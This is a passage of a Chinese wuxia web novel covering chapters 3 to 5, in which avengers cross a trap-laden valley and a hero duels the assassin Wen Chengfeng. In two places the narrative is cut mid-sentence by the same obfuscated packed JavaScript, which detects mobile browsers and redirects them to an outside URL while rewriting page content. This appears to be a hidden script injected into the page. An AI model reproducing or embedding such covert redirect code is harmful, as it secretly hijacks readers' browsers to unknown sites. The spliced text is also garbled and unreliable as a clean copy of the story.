今年,芙蓉会收留了一名不堪丈夫虐待逃出来的女子,但对方夫家位高权重,派过来劫人及报复的高手一批接一批,若不是叶连星收信后及时赶到,如今江湖中兴许已经没有芙蓉会的存在。 那两骑马速度飞快,眨眼间便到了众人面前。 芙蓉会主关情一拉缰绳,率先下了马。 程长川迎上去:“您怎么过来了,小药圣不是交待过,您这一年都不能再动用内力。” “我这条命都是连星救下的,她出事,我如何能不来。”关情不甚在意地一摆手,“而且我刚收到消息说活阎王占据了六绝谷,我虽不能擅动内力,但也还有几分用处,你们这一行人里面,怕也没有比我更懂阵法的了吧?” 程长川看了眼随后下马的陆清晓:“那您也不该把清晓也带来。” 关情也回头瞧了眼身后的小姑娘:“她自己要来的,我劝不住。” 陆清晓一张小脸紧紧崩着,没有任何表情,也没说话反驳。 程长川轻叹了口气:“要是让她知道我把你们俩也惊动了,她会怪我的。” “我们自己的来的,她怎么会怪到你身上。”关情目光缓缓望向他身后浩浩荡荡那一大群人,“许久没见这么多江湖人士聚集到一起了,上一次还是二十年前攻打魔教的时候,我那时候比如今的清晓也大不了几岁,一腔热血也跟了去,奈何本事低微,到了真动刀动枪之时,还需要剑神前辈来救我……” 她顿了顿。 “可惜我们太没用,让他力竭之后还不得不催动繁霜白,强杀魔教教主后,自己也气竭而亡,他的照霜剑就此失传,没想到如今连星也……世间从此也再无截云刀,真是……”她声音轻如叹息,“……天妒英才。” “叶姐姐当初问过我以后要不要跟着她,她可以教我截云刀法。”陆清晓终于开口说话,“我知道她有自己的事要办,姥姥的刀法也不能在我手上失传,我便……早知道……” 她话音一顿,小脸崩得更紧,强行逼回已经漫至眼眶的泪水。 小少女纤细的背影在风中挺得笔直,似乎终于要撑起身后那把比她还要高大的霞影刀。 关情摸摸她脑袋。 “好了不说这些。”她目光转向程长川,声音忽而压得极低,“此次来的人太多太杂,你也要多加注意。” 程长川静静看了眼她身后的陆清晓:“我心里有数。” 关情见他看向陆清晓,便知对方已经明白她意思,不再多说。 “那就走吧。” 3. 照面 第3章 六绝谷离云苍镇并不算远,就位于云苍镇外数十里的四青山中。 只是四青山中阵法密布,真正到过六绝谷的人少之又少。 早年间,附近居民也曾试图进山找药,但每每一进去,便会遭遇鬼打墙等诡异情景,久而久之,四青山便有了闹鬼的传闻,成了附近居民不敢再踏足的禁地。 普通居民不敢踏足,不少胆大妄为的江湖人士却敢。 前些年,不知从哪冒出六绝谷有秘宝的传闻,一批接一批心怀不轨的江湖人士闯入四青山,意图将传闻中的秘宝据为己有。 无一例外地,都是有去无回,有死无生。 其中不乏江湖好手。 渐渐地,六绝谷又重归平静。 一行人抵达四青山时,正午已过。 四青山地处南方,深秋季节,依旧绿阴如盖,一片苍翠。 芙蓉会主关情大声同众人交待道:“等下麻烦大家排成四列跟在我身后,每个人都紧跟在前方之人的三步之内,若不慎走散,在没触发机关的情况下,请务必留在原地,不要触碰身旁任何东西,哪怕一片树叶,我会想办法找到大家。” 列队后,秋向晚就站在关情身后的第一排。 她左侧是师兄夏清和,右侧是霞影刀遗孤陆清晓和程长川。 秋向晚目光不自觉落到旁边的小少女身上,心中不由生出几分怜意。 她自小父母疼宠,又有师兄百般照顾,从小到大唯一受过的委屈便是那次同师兄赌气,独自跑出去后不慎被平海帮擒获,但平海帮的忌惮她父母,一时也不敢对她太过分,没过几日便被叶连星救了出去。 但旁边的小姑娘小小年纪便再无至亲在世,纤细瘦弱的肩上还扛着又大又重的需要她去传承的霞影刀。 秋向晚不禁朝她伸出手:“清晓妹妹,我是你叶姐姐的朋友,你别怕,我会保护你的。” 虽然她打小性格懒散,父母又舍不得打骂,武功一直练得稀松平常。被叶连星救回来后,虽也在心里暗自发誓此后要好好练功,只是毕竟时日尚短,没多大成果,但保护一个比自己小好几岁的小姑娘应该还是不成问题。 再不济,还有师兄和程公子在旁边呢。 陆清晓面无表情看她一眼,却也并未拒绝,伸出小手牵住了她的手。 队伍很快成列。 关情走在最前方带众人进山闯阵。 空净大师、断刀门少门主余响、花如锦以及玉湖山庄少庄主周敬四人断后。 余响眼看着前方之人踏入四青山,他后脚一跟进去,却不见了前方众人的身影。 不止前方众人,就连一侧的翻云覆雨手与玉湖山庄少庄主都失了踪迹。 只剩旁边少林寺的老和尚跟他一处。 “阿弥陀佛。”空净大师手持念珠,“六绝谷名不虚传,可惜老衲对阵法一无所知,不知余施主可通阵法之道?” 余响性格直来直往,平素最不耐烦同这些爱打机锋的和尚道士说话。 偏偏眼下只剩一个老和尚跟他一起被困。 “一窍不通。” 空净大师:“那不若听关施主的嘱咐,施主但同老衲一起暂在原地等候?” “老和尚你爱等便等。”余响不耐烦道,“我可不等,杀叶连星的人必须死在我手上。” 空净大师问他:“那施主可有其他办法进谷?” 余响:“方才芙蓉会主不是说了进山后往东走吗,我先自己行往东便是。” 说完他便毫不迟疑,抬脚便走。 “阿弥陀佛。”空净大师在他身后开口,“施主你如今的方向是西边。” 余响:“……” …… 花如锦那边的情况和余响差不多,也是一进了山,便不见了前方众人的踪影。 只是她比余响倒霉,刚抬脚往前跨上一步,但察觉到一阵极轻的破空声响起。 花如锦正要闪避,一只手却先一步拉住她手腕,将她往后一拽,一柄带着清亮剑光的长剑从她耳边划过,迅而疾地击开了飞来的数支长箭。 玉湖山庄少庄主年纪轻轻,思想虽迂腐,一手剑法倒使得漂亮。 花如锦眉梢轻扬,危险一过,便目光缓缓由他脸一路慢慢滑落至对方握在她腕间的手上。 周敬猛然松手。 方才情急未曾多想,此刻他才发现翻云覆雨手那布料少得可怜的衣物也并未覆盖到皓白手腕。 “不是说我是妖女吗?”花如锦笑盈盈问,“怎么救我倒这般积极?” 周敬掌心发烫,按照礼数倏地往后一大步:“大家都是来替叶姑娘报仇的,方才不管是谁有危险,我都会救的。” “是吗。”花如锦却像是完全不知礼数为何物,不退反进,手也同时一伸—— 翻云覆雨手好快的动作,那白若细葱的手眨眼间但落到了周敬通红的耳根上。 “那你耳朵怎么红了?” 周敬耳朵瞬间一片酥麻,一时竟忘了避开:“姑娘请自重。” 花如锦却顺势更进一步,吐气如兰道:“我们伤风败俗的妖女懂什么自重啊。” “你——”周敬大脑一片空白,“你……” “我什么?又想说我不要脸?” “你…你还要不要替叶姑娘报仇?”年轻的小公子脸都已经红透,嗫嚅半晌才开口。 “行吧。”花如锦目光缓缓扫过他,终于是松了手,“那我们的账日后再算。” 说完她也并不等周敬同行,目光在看不出差别的林中巡睃一圈,抬脚便走。 只是刚一踏步,便又是一阵隐秘的破空声响起。 花如锦秀眉一拧。 ——不是吧,又来? …… 队伍前方。 秋向晚紧紧牵着陆清晓的手,紧紧跟在关情身后。 她上次来六绝谷,是来给叶连星送礼,是作为客人被小药圣亲自接进去的,虽然后面偷偷摸摸陪叶连星去后山找兔子时,体验过一次六绝谷的阵法,但只怕阵法一触动,冷谷主便已经知道他们人在后山,所以当时的阵法只是困住他们,并没有任何攻击性。 如今小药圣和冷谷主都不在谷中,更有可能操纵阵法的幕后之人变成了活阎王闻承风,秋向晚不敢松懈片刻,目光紧盯着前方的关情。 身后队伍中的其他人只怕也是同样想法,丝毫未曾发现已经有人掉队。 关情深谙阵法之道,一路上虽多少也触发了几次机关,但有程长川和夏清和在前方化解,都有惊无险地闯了过去。 只是随着众人慢慢深入,林中竟慢慢起了雾。 起初只是薄薄一层,而后渐渐变大,连人影都快要被模糊。 秋向晚不由有点心慌,便也顾不得害羞,伸手想去牵一旁师兄的手。 这一伸,却握了个空。 她偏头一看,身侧却哪里还有夏清和的影子。 秋向晚忙转向其他方向,却见前方的关情和另一侧的程长川也都没了踪影,身旁只剩下被她紧握住手的陆清晓。 秋向晚心里一慌。 这是叶连星拼死救下来的人。 就只剩下她一个人,真的能护得住陆清晓吗? 没了师兄在侧,秋向晚不禁有些六神无主,开口问陆清晓:“清晓妹妹,你还能看见其他人吗?” 陆清晓摇摇头。 秋向晚顿时方寸大乱:“那你们芙蓉会有没有什么联络工具,你能联系得上关前辈吗?” 陆清晓:“只有信号弹,雾这么大,没用。” “我身上也有只信号弹,那怎么办?”旁边还有个比自己小好几岁的小姑娘,秋向晚勉强定了定神,“要不咱们就按关前辈的指示,站在原地不动,等她来找吧。” “我不想等。”一路话不多,一直安安静静的陆清晓却毫不迟疑地拒绝了她,“很多人也不会等的,我即使现在没本事亲手杀了活阎王替叶姐姐报仇,我也要亲眼看着别人杀了他。” 雾气中,秋向晚只见面前的小少女一双瞳孔乌黑,纤细的身形挺得笔直,显得无畏又坚定。 秋向晚不知怎么,跳得很乱的心也莫名跟着安定了下来。 是啊。 她来之前就报着必死的决心。 面前比自己小那么多的小姑娘都不怕,她有什么好怕的,大不了就是一死。 反正来云苍镇前她已经给父母送去了诀别信,他们年纪也不算大,应该还能再生吧。 实在生不了,也有其他师兄师姐照顾。 至于大师兄,今天出发前,她就说过的,要死她也更愿意死在他前面,好过像程少侠那般一夜白头。 连生死都可以抛诸脑后。 其他事情便更没什么可怕的了。 “行,那我们就自己闯出去。”秋向晚豪气顿生,“不过你要牵紧姐姐的手,我们可不能再走散了。” 陆清晓冲她点了点头。 秋向晚豪气生完,对着这弥天大雾又生出苦恼:“不过雾这么大,连方向都辨不清,咱们该往哪边走啊?” “这边。”陆清晓抬手一指,“关姨教过我一点。” 可能是因为小小年纪,肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897280|192262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上就压着把又沉又重的霞影刀,她个子比这个年纪的女孩子要小许多,比秋向晚腰也高不了多少,但也可能是因为小小年纪,肩上就压着沉重的霞影刀,她身上全没有同龄人常有的跳脱活泼,几乎显出几分比大人更明显的沉着冷静。 秋向晚便对她的话毫无半分怀疑,牵紧她的手:“那我们就走这边。” 两人顺此方向一路前行。 幸运的是,这一路竟也没触发机关。 而且越往前走,雾越稀。 似乎是真的选对了方向。 又往前走了一段,依稀薄雾中,忽地若隐若现出一个高大挺拔的身影。 乌衣白发。 背影极其优越好认。 秋向晚眼睛一亮:“好像是程公子!” 但没等她开口去喊程少川,林中雾气一流转,那若隐若现的身影便又消失在视线中。 秋向晚不由地一急,拉着陆清晓就要往他消失的方向跑:“哎,我们快追上他。” 陆清晓只犹疑片刻,便点了点头。 两人快步朝程长川消失的方向追去。 但追了好一程路,也没再到程长川的身影,反而原本变薄的雾似乎又变得浓厚起来。 正当秋向晚怀疑方才是不是看错了,她们如今追的会不会是错误方向时,浓得快要化不开的雾倏然一散。 视线豁然开朗。 只见面前一条蜿蜒曲折、清澈见底的小溪,泉水击石,清脆悦耳,小溪那头几座错落有致的小屋,并无院墙遮挡。 ——因为整个山谷都只有一家主人。 秋向晚在此住过数日,对眼前的场景再熟悉不过。 她心里蓦然一喜:“是六绝谷,我们真的到了!” 更令她惊喜的是,溪上木桥前站着一个高大颀长的身影,乌衣白发,不是程长川又是谁。 “我知道了,肯定是活阎王身份既已然暴露,便还是想杀了程公子报仇,就操纵阵法先将他放了进来,我们恰好碰上程公子,误打误撞便也比关前辈他们更早进来了。走,我们去跟程公子会合。” 秋向晚说话间便拉着陆清晓就要往前行。 这一拉,却没拉动。 秋向晚回头望去,却见身后的小少女小脸紧绷到几乎冷肃的地步,目光一错不错地、凌然地望着一处。 她视线也循着那方向望去,心里不由得悚然一惊。 方才还空空如也的最前方的房屋顶上不知何时竟已站了一个高大的年轻男人。 男人一身白衣胜雪,乌发高高束起,发丝随风轻扬,右手持一把已然出鞘的长剑。 剑光凛然如雪。 持剑人剑眉下的眼更是森然如冰。 即便与传言中的长相截然相反,年纪也比预想中年轻许多,但秋向晚仍在一瞬间便确定了对方的身份。 因为哪怕隔了好一段距离,哪怕对方目光并不在她身上,对方身上那股浓厚得有如实质的杀意依旧扑面袭来。 秋向晚几乎本能地生出一股惧意,整个人不受控地被这股杀意迫得连连往后退了几步。 这就是让江湖中人闻风丧胆的活阎王。 这就是—— 当初惊雨楼排名第一的杀手惊一吗? 手心一动。 秋向晚侧头,看见陆清晓与她一般,也被那股杀意迫得直往后退。 但只退了一小步,小少女便咬牙停住,抿着唇又逼着自己往前走回原地,像是无声地在与那股杀意,也与自己的本能惧意在对抗。 秋向晚自愧不如,在心里默念几句“这人可是杀害你叶姐姐的凶手,怕他做什么,大不了一死”,而后也咬牙重新往前站回了方才的位置。 她们两个正默默与那股杀意对抗,闻承风目光中心,也是被他那股杀意锁定的程长川却像是分毫不受影响。 乌衣白发的男人拿着簇新的流云剑抬脚走过木桥,站到了那处房屋之前。 屋顶上,闻承风终于开口,声音中也带着沉沉杀意。 “你竟然还敢来。” 程长川声音却似乎很平静,整个人像都处在一种敛而未发的状态:“她在这,我当然会来。” 闻承风衣袂翻飞。 “那便不用走了。” 话音未落,他飞身而下,长剑朝程长川袭来。 程长川手握着剑柄,那把簇新的流云剑终于第一次出了剑鞘,露出剑光凛凛的真容。 那一瞬间,一直敛而未发的、铺天盖地的杀意才终于袭卷而来。 流云剑的杀意从不在话里,不在身上,只在剑中。 4. 决斗 第4章 两人的剑都很快。 一人剑招凛凛如霜雪,招招满含杀气。 一个剑招轻快如流云,剑剑直指要害。 秋向晚并非没见过顶级高手出招。 去岁此时,她被平海帮所擒,是叶连星有如天神降临般将她救出。 但平海帮那群人太过废物,加起来也不够叶连星打的。 她还没看过瘾,整帮人就都歇菜了。 今年端午,她过来六绝谷给叶连星送礼,也曾见过叶连星和程长川过招。 但那时一则是叶连星伤势未愈,二则是两人只是拆招,并非你死我活的拼斗,三则是动静不好闹太大,以免惊动小药圣水明霞——虽然最后还是惊动了。 两人当时打得都很收敛。 不像此刻。 一黑一白两道身影快若闪电,眨眼间就过了十来招。 秋向晚只觉眼花缭乱,目不暇接,甚至连他们是如何出招都没太看清楚。 自己有几斤几两,秋向晚心里还是非常有数的,既连出招都看不清,这场决斗就绝非是她所能掺和的,她若贸然上前去帮忙,只会拖程长川后腿。 秋向晚目光向那几间错落有致的房屋看上一眼,低头轻声同陆清晓道:“程公子那边我们帮不上忙,不如趁此机会去房间里找找叶姐姐。” 陆清晓颔首。 秋向晚便牵着她快步朝木桥走去。 想来程长川大约与她想法略同,也猜叶连星尸身很可能便在房中,估摸着是怕两人剑气伤及房屋再波及屋中人,正一边打一边在将活阎王从房屋边引开。 趁着两人越打越远,秋向晚拉着陆清晓快速跑过木桥,一路直奔第一间屋子。 方才活阎王就是出现于此,想来叶连星尸身很可能被他藏在此处。 眼见距离只剩不到十步之遥,秋向晚正要加速,被她牵住的陆清晓这时忽然用力将她往回一拽。 秋向晚被小姑娘拽得差点一趔趄。 她满心疑惑尚未来得及发问,一股令人悚然的危机感慢半拍袭来。 下一瞬。 一道冰冷而满含杀气的剑气在她前方几步远的地方划过,地面瞬间被斩出一条寸余长的口子。 秋向晚后背顿时冒出一层冷汗。 若是方才陆清晓没拉住她,若是她方才跑得再快几分,被斩出这么长一条口子的,怕就不是地面。 而是她本人了。 闻承风裹着内劲与冰冷杀意的声音此刻才传过来—— “过线者死。” 秋向晚满腔后知后觉的后怕,不知怎么,忽地又被这句话尽数打碎。 “当谁怕死似的。”她心想,“我既然敢来替叶姐姐报仇,就早做好了赴死的准备。” 秋向晚转头朝声音来处望去。 那一黑一白两道身影仍打得难舍难分,难分上下。 其实来之前,她也曾抱有过一些不切实际的幻想。 比如活阎王盛名之下其实难副,其实武功平平,能杀害叶连星全靠某些不为人知的旁门左道。 亦或者,活阎王武功虽高,但他们一行上百人,靠人海战术未必胜他不过,反正对付这等邪魔外道也不必再讲什么江湖道义,最多不过损失惨重,死伤过半。 但第一个想法,在方才甫一进六绝谷,隔着小溪同杀气漫天的闻承风一照面,便已知是空想。 而在见过程长川与闻承风对招,见识过真正的顶级高手那玄而险之的对决后,第二个想法也破碎了一半。 时间太紧,能赶来的都是附近的江湖人士,她和师兄若不是正巧就在隔壁小镇,只怕也来不及赶到。他们这一行人,有一大半是如她一样,武功稀松平常,全凭一腔热血加入进来的。 剩下一半中,真正称得上高手的,也不过就她师兄、花如锦、断刀门少门主余响、空净大师、玉湖山庄少庄主周敬以及没受伤前的芙蓉会主关情前辈。 而这一群人还都被困在阵法中,不知何时,甚至不知道到底能不能走出来。 就算能走出来,他们几人到底比闻承风还差了一个境界,除非是一同出来,还有几分赢面,若是像他们一般,被分开拉进来,恐怕也是凶多吉少。 到此刻,秋向晚才真正明白闻承风将藏匿地点选在六绝谷的用意。 此人不论武功还是心机,都是绝顶。 难怪当初惊雨楼覆灭,他能成为唯一幸存者,甚至还敢改头换面,堂而皇之再出现在江湖之中。 眼下程长川虽与他打得不分上下,但高手对决,胜负有时就在瞬间。 而且就连叶连星都输在活阎王手上,她也不敢说程长川就有绝对的胜算。 毕竟流云剑也不是杀人的剑。 此刻趁程长川还能牵制住他,或许就是抢回叶连星尸身的最好,也可能是唯一的机会。 不管是作为朋友,还是报恩。 抑或是作为江湖上一个再平常不过的天下第一刀的钦佩者—— 她甚至都还没来得及告诉叶连星,当初在平海帮知道救她之人便是大名鼎鼎的截云刀时,她有多开心。 ——她都无法看着天下第一刀最终沦落到死无葬身之地的地步。 念头转至此处,秋向晚蓦地松开了陆清晓的手。 从进四青山开始,她就一直牵着陆清晓,但眼下,她已经决定要去冒一场九死一生的险,自然不能再带着陆清晓。 毕竟陆清晓才只有十一岁。 毕竟这是霞影刀剩下的唯一骨血。 毕竟这是叶连星当初拼死救回来的人。 但不知是手已牵了太久,还是事到临头,自己其实也没有想象中那样坦然无畏,秋向晚发现手心竟浸了满满一层汗。 她缓了缓呼吸,脑中慢慢回想起叶连星当初救她时的情景,以及这一年里,她和叶连星相处及通信的点点滴滴。 最近的屋子不过几步之遥。 而闻承风正与程长川对决,不可能时时有空关注她们这边,方才陆清晓能拉着她避开一次攻击,她兴许也能避开第二次。 并非一定就是必死之局。 只有几步。 只要能进门。 秋向晚定神,压低声音。 “清晓妹妹,你先站在这里等我,我进去探探情况,若是能找到叶姐姐,你到时在外面给我当接应,若是我没能进去——”她顿了顿,“你就不要再跨线半步,乖乖在这等着关前辈他们出来,然后……再帮我跟我师兄说句对不起。” 说完,秋向晚抬脚便往前走,再迟疑片刻,她怕自己就再也没了这个胆气。 但她只来得及跨出半步,便又被陆清晓拽住。 秋向晚知道她对叶连星的感情和感激比自己只深不浅,怕她也要跟上,正在想要如何劝说,就见陆清晓一脸冷静地开口。 “你别急,我刚才看活阎王出招时气息有些凝滞,他应该是受了内伤,一柱香之内,程公子能赢他。” 秋向晚:“?” 气息凝滞? 一柱香之内,程长川能赢? 她连那两人是如何出招,都看不太清楚,陆清晓是怎么看出来这些的? 秋向晚知道自己武功平平,但她原以为她武功再一般,也应该比一个才十一岁的小姑娘要高一点,所以进四青山之前,她才放心大胆地朝陆清晓伸手说要保护她。 此刻看来,当时陆清晓把手伸过来,大约是看她大言不惭又愚不可及,决定看在叶连星的面子上保护她吧。 短短一句话,秋向晚受到了生平最大的一次打击。 好在秋向晚最大的优点便是心大。 否则当初也不会在听闻叶连星单刀救遗孤的事迹后,一边心生钦佩,幻想某天自己也能练就绝世武功,到处去行侠仗义,成为人人仰慕的天下第一,一边仗着师兄师姐们的宠爱,心安理得地在每一天的练功早课上偷懒睡觉。 陆清晓年纪轻轻便武功见识都比她高,不代表她不行,只能说明陆清晓厉害。 霞影刀遗孤是武学奇才。 这是大好事呀。 秋向晚只沮丧了片刻,便将自己哄好了。 而且。 闻承风既身带内伤,就说明…… “我就知道他即便真能胜过叶姐姐,肯定也是惨胜,现在果然有内伤吧。”事关重大,为求稳妥,秋向晚便再次同陆清晓确认道,“你确定程公子能赢吗?” “只要不出意外。”陆清晓笃定道,“程公子肯定能赢。” 秋向晚重重松了口气。 她方才打算冒死闯线,只是怕错过机会,叶连星可能会落到一个尸骨无存的下场,并非真的不想活不怕死。 陆清晓不是会胡言乱语的顽皮小孩,叶连星之于她而言的意义更是无可比拟。 见她态度如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897281|192262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此笃定,秋向晚便暂时放下心来,同她一起继续观战。 一黑一白两道身影仍在以快打快。 依旧让秋向晚看得只觉目不暇接、眼花缭乱。 她侧了侧身,原本想让陆清晓给她讲解几句,却见身旁边的小小少女正一瞬不瞬地看着决斗的二人,小脸上一副若有所思的神情。 虽然程长川和闻承风都是使剑,而陆清晓学的是刀,但武学之道本就能融会贯通,顶级高手过招更是难得一见的场面,仔细观战,兴许能从中有所感悟。 秋向晚便没再打扰她,继续自己乱看,反正出招她看不清,输赢总是能看明白的。 虽然陆清晓笃定说只要不出意外,程长川一定会赢,但胜负一刻未定,秋向晚便一刻难以完全放下心,因而即便看不太清两人出招,却也看得极为投入。 直到日光渐渐西移,金乌将坠未坠。 那二人依旧打斗未停。 秋向晚倏然醒神。 一柱香应该已经过了吧,怎么还在打,是出了什么她没看出来的意外吗? 她略略侧头,只见旁边小少女板着一张小脸,细细眉梢紧紧蹙起。 秋向晚不是沉得住气的性格,当即问道:“一柱香早过了吧,怎么程公子还没赢?” “不应该啊。”陆清晓喃喃道,“他应该早撑不住露出破绽了才对。” 秋向晚听了也不由皱眉道:“什么情况,难不成他们这种无情无义的冷血杀手天生比别人更耐打吗?” 说话间,不远处的程长川已经陡然又变了招。 这一次,秋向晚终于看清了他的招数。 那是他自创的流云剑法中的一招,叫风流云散。 秋向晚能看明白这招,不是因为程长川出招变慢了,当然更不是因为她观战的这短短一段时间内有所顿悟,武功境界大大提升,而是因为她曾见过程长川这招。 就是在今年端午,他与叶连星那次过招中。 叶连星既有天下第一刀之称,自然也是顶尖高手,按秋向晚这稀松平常的武功水平,原也应该看不懂他们的过招,但那次有夏清和在身侧给她全程讲解。 只是她当时注意力全在叶连星身上,程长川所使招数,她只记住了这印象最深的一招。 风流云散看似平平无奇,但招如其名,暗含极其丰富的变招,一剑直笼住对手身上七处大穴,让人不知该往何处防守。 程长川对阵叶连星,秋向晚自然无条件站叶连星一边。 听师兄大赞程长川这招厉害,她不禁提起心为叶连星捏一把冷汗。 却见叶连星忽地一笑。 风流云散一剑直笼住人身上七处大穴,让人不知该如何防守。 而叶连星的选择是—— 哪处都不防。 耀眼日光下,只见她身子一旋,截云刀倏然自下而上一斩。 那是六式截云刀中的第一式,翻春雷。 上斩的冷刃如滚滚春雷般,裹挟着锋锐无比的气势席卷而来。 风流云散剑指七处大穴,叫人防不胜防。 叶连星便不防,以攻代守 ,以杀招对杀招。 而顶尖高手对决,胜负往往就在一刹那。 流云剑的杀招对上截云刀杀招的一瞬—— 是程长川极不明显慢了几分。 而就在那一刹那,气势汹汹的截云刀由下而上,一刀斩断了他手中长剑。 秋向晚当即高兴地拍手称快。 叶连星却蹙了眉,她收了招:“这招不算,你对我没杀心,我们再来。” 那日阳光极好。 融融日光下,素来冷淡话少的流云剑很轻地笑了声:“我对你如何会有杀心。” “你知道我说的不是真的杀心,你这招连十分之一的威力都没发挥出来。”叶连星夺过他手中断剑往旁边一扔,“我去给你再找把剑,我们重新打过。” “打什么打!”小药圣水明霞叉着腰气冲冲走过来,“你还要不要命了!” …… 再想起那日场景,秋向晚不由眼眶一热。 截云刀一共六式。 在平海帮救她那次,因为平海帮帮众水平太次,叶连星截云刀甚至都没来得及使出来。 同程长川过招这次,她也只用了截云刀前五式便已获胜。 秋向晚还未曾有幸亲眼见识过第六式,截云刀便已成绝响。 5. 变故 第5章 而直至此刻。 她才终于明白叶连星当时那句“你这招连十分之一的威力都没发挥出来”是何意思。 同一招风流云散,剑尖对向不同的人,竟有着截然不同的威力。 此刻的风流云散,竟比那日多了不知几倍的,铺天盖地而来的冰冷杀意。 秋向晚明明身在战局外,被剑尖所指的分明也不是她,她却仍有种浑身发寒的感觉,只觉被笼住七处大穴的仿佛是自己一般。 风流云散变招丰富,让人防不胜防,那次叶连星选择了不防,以攻代守,以杀招对杀招。 这一次—— 秋向晚提着心,手心如那次一样,沁满了一层冷汗。 只是那次担心的是剑尖所指之人。 这次担心的却是持剑之人。 闻承风就在这时动了。 他长剑一横一档。 ——却是选择了守。 程长川当即变招,剑尖所指立即转向了膻中穴,闻承风也当即变招再防。 但两人都是快剑,程长川先发先至,他后发慢了一瞬,这次竟来不及以剑身格档,只堪堪用剑尖挡住了那锋锐无匹的一击。 长剑剑尖似是不堪重负般弯折下去。 眼见只要程长川再变一招,闻承风必来不及防守。 却见他借着剑尖与簇新流云剑相触这一点力道,整个人往后一荡数尺,轻飘飘落到身后一根树枝上。 那树枝说小不小,说大却也不算大。 他借力这么猛然一落上去,这不大不小的树枝竟连一片叶子都未曾动上一下。 空净大师大约是把“出家不打诳语”刻进了骨子里,他说活阎王闻承风轻功绝顶,竟丝毫无假。 兵器向来是一寸长一寸强,一寸短一寸险,风流云散变招再丰富,剑毕竟不是长鞭,不好长距离攻击。 而闻长风退身落至树枝上,以退为进,自然不是比试的结束。 夕阳落在他栖身的树上。 树叶泛起点点红光。 点点红光中,他倏然脚一蹬一借力,整个人飞身而下,由守转攻,长剑直指程长川。 他这一蹬一借力,枝叶竟依旧连晃都未曾晃一下,几乎如履平地一般。 好可怕的轻功! 而比轻功更可怕的是他骤然袭来的这一招。 风流云散是变招丰富,让人防不胜防。 而他这招既不华丽,也不诡谲,明晃晃直指人心口要害,但来势极凶,裹挟着万钧气势,直叫人避无可避。 秋向晚在一旁观战,都不自觉被这股气势迫得发冷,心不由悬到嗓子眼。 血红夕阳下。 却见程长川不退反进。 他以脚为轴,微一悬身,簇新的流云剑由下至上,锋锐无比地往上一斩—— 看上去竟像是叶连星截云刀的第一式翻春雷。 不。 不是翻春雷。 只是起手有点像翻春雷,这招实际上应该还是风流云散的又一次变招。 闻承风气势万钧的一剑,对上程长川锐不可当一击。 “避无可避”对上“防不胜防”。 双剑相交时,秋向晚依稀看到闻承风似乎是微微滞了一下。 这一滞只是极短的一瞬,但程长川是何等的高手,怎么会抓不住这样的机会—— 簇新的流云剑映照着血红的霞光,自下而上地,势不可挡在闻承风身上划出一道口子,他整个人也随着这雷霆万钧的一击,倒飞出数尺远,重重落在最前方的小屋一侧,久久没了动静。 直至此刻,秋向晚悬至嗓子眼的心才重重落回原处,不知怎么,她忽地有种热泪盈眶的冲动。 清早,她在聚仙楼敲开程长川的门,看见那把簇新流云剑时,曾说过用这把叶连星定做的剑手刃仇人,也算是叶连星亲自报仇了。 如今他真做到了。 叶姐姐若泉下有知,大约也能瞑目了。 想到“瞑目”二字,秋向晚忽地想起叶连星尸身还未找到,忙拉着陆清晓便要进屋。 这一拉,却未能拉动。 秋向晚不禁回头,只见陆清晓脸上丝毫未见轻松之色,一张小脸紧绷得严肃无比,正不错眼看着一处地方。 ——正是方才闻承风倒地的地方。 秋向晚心里悚然一惊,倏地转头。 却见她原本以为应该已经死了的闻承风此时撑着长剑又缓缓站了起来。 他站得有点慢,有点摇晃,方才受了程长川那自下而上的一招,他身上一道伤口由腰及肩,几乎斜斜贯穿整个上半身,胜雪的白衣被鲜血染红,他唇角也有血溢出,被他用空着的左手浑不在意地随意一抹。 但他手上也有血,这一抹,几乎半张脸都是血。 高大的男人乌发微乱,血红夕阳映照在那如画的眉目上,衬得他像一尊玉面修罗,又像画本里嗜血的妖物,莫名有种说不出的可怖感。 明明闻承风像是站都站不稳,秋向晚却无端觉得此刻的他竟比初初照面时气场更恐怖,几乎让人毛骨悚然。 秋向晚本能地挡在陆清晓前面,心想:“他不会真练了什么邪门功法吧?” 念头刚转完,就见闻承风轻轻歪了歪头,忽地站直了身子,原本被他用来支撑身体的长剑也重新被他拎了起来。 短短一瞬间。 他竟像是已经从重伤到站起来都摇晃的状态恢复如初。 不。 不仅是恢复如初。 此刻的闻承风,身上的气场和顶级高手那股迫人的气势都远比之前更强更浓。 这就是陆清晓所说的“意外”吗? 在见到闻承风之前,秋向晚觉得他能赢叶连星,可能多半靠的是五分武功与五分叶连星没意料到的、不为人所知的鬼蜮伎俩。 见到闻承风后,秋向晚觉得他能赢叶连星,可能七分靠的是武功和以及三分叶连星所欠缺的,他之前杀手生涯磨炼出来的对敌经验与狠劲。 直至此刻,秋向晚才觉得闻承风可能是纯粹真靠武功赢的叶连星。 虽然这武功看起来实在有点邪门。 哪有人伤得越重,反而实力越强的。 程长川还能赢吗? 秋向晚开始有点后悔方才没趁他还没这么强的时候,冒死冲线去找叶连星的尸身。 现在不知还没有机会,甚至她都不知道还能不能找到。 他这功法不会真是…… 秋向晚心里不由地涌上一阵绝望感。 就在这时,身后蓦地传来一阵哄闹声。 秋向晚急急回头,看见一群人闹哄哄从小溪后的四青山走出来—— 是芙蓉会主关情带着大部队终于出阵了。 